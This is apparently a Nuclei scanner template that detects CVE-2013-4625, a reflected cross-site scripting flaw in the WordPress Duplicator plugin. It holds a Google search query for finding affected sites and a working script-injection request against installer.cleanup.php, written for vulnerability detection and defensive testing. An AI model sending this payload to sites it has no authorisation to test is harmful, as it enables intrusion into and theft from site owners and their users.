id: CVE-2013-4625

info:
  name: WordPress Plugin Duplicator < 0.4.5 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting  vulnerability in files/installer.cleanup.php in the Duplicator plugin before 0.4.5 for WordPress allows remote attackers to inject arbitrary web script or HTML via the package parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the target website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Upgrade to Duplicator 0.4.5 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-4625
    - https://packetstormsecurity.com/files/122535/WordPress-Duplicator-0.4.4-Cross-Site-Scripting.html
    - https://seclists.org/bugtraq/2013/Jul/160
    - https://www.htbridge.com/advisory/HTB23162
    - http://packetstormsecurity.com/files/122535/WordPress-Duplicator-0.4.4-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-4625
    cwe-id: CWE-79
    epss-score: 0.07785
    epss-percentile: 0.92063
    cpe: cpe:2.3:a:cory_lamle:duplicator:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "cory_lamle"
    product: duplicator
    google-query: "inurl:\"/wp-content/plugins/duplicator\""
  tags: cve2013,cve,seclists,wordpress,xss,wp-plugin,packetstorm,cory_lamle,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/duplicator/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Duplicator - WordPress Migration'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/duplicator/files/installer.cleanup.php?remove=1&package=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a1c9728ffa88cc4f3a5a8df0c06039c920b71f6ff2a37a776584a8f254bb21f3022100ca78e41b7b95d181657785f68c4f97dcf881c096043fbecc63f7602a5b0c2dc2:922c64590222798bb761d5b6d8e72950